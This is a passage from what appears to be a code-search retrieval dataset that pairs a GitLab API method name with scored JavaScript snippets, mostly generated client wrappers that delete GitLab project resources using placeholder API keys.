(Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n\t return nenc || enc;\n\t}", "title": "" }, { "docid": "eb7dccd2f15d6164d50b56a7eaf7bf74", "score": "0.540714", "text": "function normalizeEncoding(enc) {\n\t var nenc = _normalizeEncoding(enc);\n\t if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n\t return nenc || enc;\n\t}", "title": "" }, { "docid": "eb7dccd2f15d6164d50b56a7eaf7bf74", "score": "0.540714", "text": "function normalizeEncoding(enc) {\n\t var nenc = _normalizeEncoding(enc);\n\t if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n\t return nenc || enc;\n\t}", "title": "" }, { "docid": "eb7dccd2f15d6164d50b56a7eaf7bf74", "score": "0.540714", "text": "function normalizeEncoding(enc) {\n\t var nenc = _normalizeEncoding(enc);\n\t if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n\t return nenc || enc;\n\t}", "title": "" }, { "docid": "eb7dccd2f15d6164d50b56a7eaf7bf74", "score": "0.540714", "text": "function normalizeEncoding(enc) {\n\t var nenc = _normalizeEncoding(enc);\n\t if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n\t return nenc || enc;\n\t}", "title": "" }, { "docid": "eb7dccd2f15d6164d50b56a7eaf7bf74", "score": "0.540714", "text": "function normalizeEncoding(enc) {\n\t var nenc = _normalizeEncoding(enc);\n\t if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n\t return nenc || enc;\n\t}", "title": "" }, { "docid": "eb7dccd2f15d6164d50b56a7eaf7bf74", "score": "0.540714", "text": "function normalizeEncoding(enc) {\n\t var nenc = _normalizeEncoding(enc);\n\t if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n\t return nenc || enc;\n\t}", "title": "" }, { "docid": "eb7dccd2f15d6164d50b56a7eaf7bf74", "score": "0.540714", "text": "function normalizeEncoding(enc) {\n\t var nenc = _normalizeEncoding(enc);\n\t if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n\t return nenc || enc;\n\t}", "title": "" }, { "docid": "eb7dccd2f15d6164d50b56a7eaf7bf74", "score": "0.540714", "text": "function normalizeEncoding(enc) {\n\t var nenc = _normalizeEncoding(enc);\n\t if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n\t return nenc || enc;\n\t}", "title": "" }, { "docid": "bde319223e22452d03663a48e7c6d630", "score": "0.5389932", "text": "function normalizeEncoding(enc) {\r\n var nenc = _normalizeEncoding(enc);\r\n if (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\r\n return nenc || enc;\r\n }", "title": "" }, { "docid": "d5a444f89ada20cef35a31fd8d984976", "score": "0.53893524", "text": "function parseHeader(input) {\n parseOptions(input, function (k, v) {\n switch (k) {\n case 'Region':\n // 3.3 WebVTT region metadata header syntax\n console.log('parse region', v);\n //parseRegion(v);\n break;\n }\n }, /:/);\n }", "title": "" }, { "docid": "35bdd9f893f6f6f6982e1e5ec257c168", "score": "0.53767437", "text": "function normalizeEncoding(enc) {\n\t\t\t\tvar nenc = _normalizeEncoding(enc);\n\t\t\t\tif (typeof nenc !== 'string' && (Buffer.isEncoding === isEncoding || !isEncoding(enc))) throw new Error('Unknown encoding: ' + enc);\n\t\t\t\treturn nenc || enc;\n\t\t\t}", "title": "" } ]
f12623c7be13289e87b7e2d8fb8fe298
This is a function for deleteV3ProjectsIdMergeRequestsSubscribableIdSubscription
[ { "docid": "dca56cdc3064af21f6f52704fc1c1580", "score": "0.6708858", "text": "deleteV3ProjectsIdMergeRequestsSubscribableIdSubscription(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let subscribableId = \"subscribableId_example\";*/ // String | The ID of a resource\napiInstance.deleteV3ProjectsIdMergeRequestsSubscribableIdSubscription(incomingOptions.id, incomingOptions.subscribableId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" } ]
[ { "docid": "651229bdcc8b6ee45581b50fc92a308f", "score": "0.6647786", "text": "deleteV3ProjectsIdMergeRequestSubscribableIdSubscription(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let subscribableId = \"subscribableId_example\";*/ // String | The ID of a resource\napiInstance.deleteV3ProjectsIdMergeRequestSubscribableIdSubscription(incomingOptions.id, incomingOptions.subscribableId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "6bda79474f291d33ba4ee7e2c23bed84", "score": "0.6613637", "text": "deleteMergeRequest() {\n const currentRoute = app.getRouteInformationFromUri(app.tabset.activeTab.uri);\n\n if(confirm(Lang.get('h-gitter.delete-merge-request-confirmation'))) {\n $.ajax({\n url : app.getUri('h-gitter-repo-merge-request', {\n repoId : currentRoute.data.repoId,\n mergeRequestId : currentRoute.data.mergeRequestId\n }),\n method : 'delete',\n dataType : 'json'\n })\n\n .done(() => {\n app.load(app.getUri('h-gitter-repo-merge-requests', {\n repoId : currentRoute.data.repoId\n }));\n })\n\n .fail((xhr) => {\n app.notify('error', xhr.responseJSON && xhr.responseJSON.message || xhr.responseText);\n });\n }\n }", "title": "" }, { "docid": "dda9e049f186be9fa5ea3431cee0fa76", "score": "0.63693136", "text": "deleteV3ProjectsIdMergeRequestsMergeRequestId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let mergeRequestId = 56;*/ // Number | The ID of a merge request\napiInstance.deleteV3ProjectsIdMergeRequestsMergeRequestId(incomingOptions.id, incomingOptions.mergeRequestId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, '')\n }\n});\n }", "title": "" }, { "docid": "51da4e37541834381623870867013ef8", "score": "0.61729336", "text": "deleteV3ProjectsIdIssuesSubscribableIdSubscription(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let subscribableId = \"subscribableId_example\";*/ // String | The ID of a resource\napiInstance.deleteV3ProjectsIdIssuesSubscribableIdSubscription(incomingOptions.id, incomingOptions.subscribableId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "028cf78f0bed7934cc47bc77f4979da3", "score": "0.60557353", "text": "deleteV3ProjectsIdLabelsSubscribableIdSubscription(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let subscribableId = \"subscribableId_example\";*/ // String | The ID of a resource\napiInstance.deleteV3ProjectsIdLabelsSubscribableIdSubscription(incomingOptions.id, incomingOptions.subscribableId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "f740d3c32f296304500ccf33d79f1e78", "score": "0.5886583", "text": "deleteV3ProjectsIdMergeRequestsMergeRequestIdAwardEmojiAwardId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let awardId = 56;*/ // Number | The ID of an award emoj\n/*let id = 56;*/ // Number |\n/*let mergeRequestId = 56;*/ // Number | \napiInstance.deleteV3ProjectsIdMergeRequestsMergeRequestIdAwardEmojiAwardId(incomingOptions.awardId, incomingOptions.id, incomingOptions.mergeRequestId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "f41a53b79dd7cdbc6573247c22653807", "score": "0.5854653", "text": "deleteV3ProjectsIdMergeRequestsNoteableIdNotesNoteId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let noteableId = 56;*/ // Number | The ID of the noteabl\n/*let noteId = 56;*/ // Number | The ID of a note\napiInstance.deleteV3ProjectsIdMergeRequestsNoteableIdNotesNoteId(incomingOptions.id, incomingOptions.noteableId, incomingOptions.noteId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "9594106910da028531607b1332fcf1f2", "score": "0.57235223", "text": "deleteV3ProjectsIdMergeRequestsMergeRequestIdNotesNoteIdAwardEmojiAwardId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let awardId = 56;*/ // Number | The ID of an award emoj\n/*let id = 56;*/ // Number |\n/*let mergeRequestId = 56;*/ // Number |\n/*let noteId = 56;*/ // Number | \napiInstance.deleteV3ProjectsIdMergeRequestsMergeRequestIdNotesNoteIdAwardEmojiAwardId(incomingOptions.awardId, incomingOptions.id, incomingOptions.mergeRequestId, incomingOptions.noteId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "464968135d75e5d7c0c3533436f3e8f9", "score": "0.57201344", "text": "deleteV3ProjectsIdAccessRequestsUserId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The project I\n/*let userId = 56;*/ // Number | The user ID of the access requester\napiInstance.deleteV3ProjectsIdAccessRequestsUserId(incomingOptions.id, incomingOptions.userId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, '')\n }\n});\n }", "title": "" }, { "docid": "27add62046c265b8dfb879ac56d8b261", "score": "0.5562077", "text": "deleteV3ProjectsIdRunnersRunnerId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let runnerId = 56;*/ // Number | The ID of the runner\napiInstance.deleteV3ProjectsIdRunnersRunnerId(incomingOptions.id, incomingOptions.runnerId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "7f883e9530804e18b61b939732321b84", "score": "0.5478749", "text": "deleteV3ProjectsIdRepositoryMergedBranches(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a project\napiInstance.deleteV3ProjectsIdRepositoryMergedBranches(incomingOptions.id, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, '')\n }\n});\n }", "title": "" }, { "docid": "d286bfa60602d103ad9676d2b9db952e", "score": "0.54734755", "text": "deleteV3ProjectsIdServicesServiceSlug(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let serviceSlug = \"serviceSlug_example\";*/ // String | The name of the servic\n/*let id = 56;*/ // Number | \napiInstance.deleteV3ProjectsIdServicesServiceSlug(incomingOptions.serviceSlug, incomingOptions.id, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, '')\n }\n});\n }", "title": "" }, { "docid": "54cb4d3c743342ed74773c40f5abe5f1", "score": "0.546506", "text": "deleteV3ProjectsIdShareGroupId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let groupId = 56;*/ // Number | The ID of the group\napiInstance.deleteV3ProjectsIdShareGroupId(incomingOptions.id, incomingOptions.groupId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, '')\n }\n});\n }", "title": "" }, { "docid": "a86db66396c1879360e5c7cc488a60e5", "score": "0.5451112", "text": "postV3ProjectsIdMergeRequestsSubscribableIdSubscription(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let subscribableId = \"subscribableId_example\";*/ // String | The ID of a resource\napiInstance.postV3ProjectsIdMergeRequestsSubscribableIdSubscription(incomingOptions.id, incomingOptions.subscribableId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "9bfbd98acb8023821dfddcdee18b0050", "score": "0.5426634", "text": "deleteV3GroupsIdAccessRequestsUserId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.GroupsApi()\n/*let id = \"id_example\";*/ // String | The group I\n/*let userId = 56;*/ // Number | The user ID of the access requester\napiInstance.deleteV3GroupsIdAccessRequestsUserId(incomingOptions.id, incomingOptions.userId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, '')\n }\n});\n }", "title": "" }, { "docid": "abb38eb61a53b6c3db833e7c7814f434", "score": "0.5352487", "text": "postV3ProjectsIdMergeRequestSubscribableIdSubscription(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let subscribableId = \"subscribableId_example\";*/ // String | The ID of a resource\napiInstance.postV3ProjectsIdMergeRequestSubscribableIdSubscription(incomingOptions.id, incomingOptions.subscribableId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "f50eead215ebcf7c9a328f0c13e2edd2", "score": "0.5347115", "text": "deleteV3ProjectsIdIssuesNoteableIdNotesNoteId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let noteableId = 56;*/ // Number | The ID of the noteabl\n/*let noteId = 56;*/ // Number | The ID of a note\napiInstance.deleteV3ProjectsIdIssuesNoteableIdNotesNoteId(incomingOptions.id, incomingOptions.noteableId, incomingOptions.noteId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "baf963e9c72a259f978133188670e6ac", "score": "0.5324233", "text": "deleteV3ProjectsIdSnippetsNoteableIdNotesNoteId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let noteableId = 56;*/ // Number | The ID of the noteabl\n/*let noteId = 56;*/ // Number | The ID of a note\napiInstance.deleteV3ProjectsIdSnippetsNoteableIdNotesNoteId(incomingOptions.id, incomingOptions.noteableId, incomingOptions.noteId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "1d0b42cbc4c48209170948485c0cc26d", "score": "0.5308312", "text": "_removeRequest(_dataId) {\n // TODO\n }", "title": "" }, { "docid": "158cb3e80f38818dd608936bf9dcf7c4", "score": "0.5292111", "text": "deleteV3ProjectsIdIssuesIssueId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let issueId = 56;*/ // Number | The ID of a project issue\napiInstance.deleteV3ProjectsIdIssuesIssueId(incomingOptions.id, incomingOptions.issueId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, '')\n }\n});\n }", "title": "" }, { "docid": "51a50ce6792cc2c14adfb3000b036c61", "score": "0.52762216", "text": "deleteV3ProjectsIdTriggersToken(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let token = \"token_example\";*/ // String | The unique token of trigger\napiInstance.deleteV3ProjectsIdTriggersToken(incomingOptions.id, incomingOptions.token, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "d1ad9289d13a57e952ef5c28ee596570", "score": "0.5267989", "text": "deleteV3ProjectsIdBoardsBoardIdListsListId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let boardId = 56;*/ // Number | The ID of a boar\n/*let listId = 56;*/ // Number | The ID of a board list\napiInstance.deleteV3ProjectsIdBoardsBoardIdListsListId(incomingOptions.id, incomingOptions.boardId, incomingOptions.listId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "148b9c3d538795afbd449dd67b469475", "score": "0.52614546", "text": "deleteV3ProjectsIdEnvironmentsEnvironmentId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: 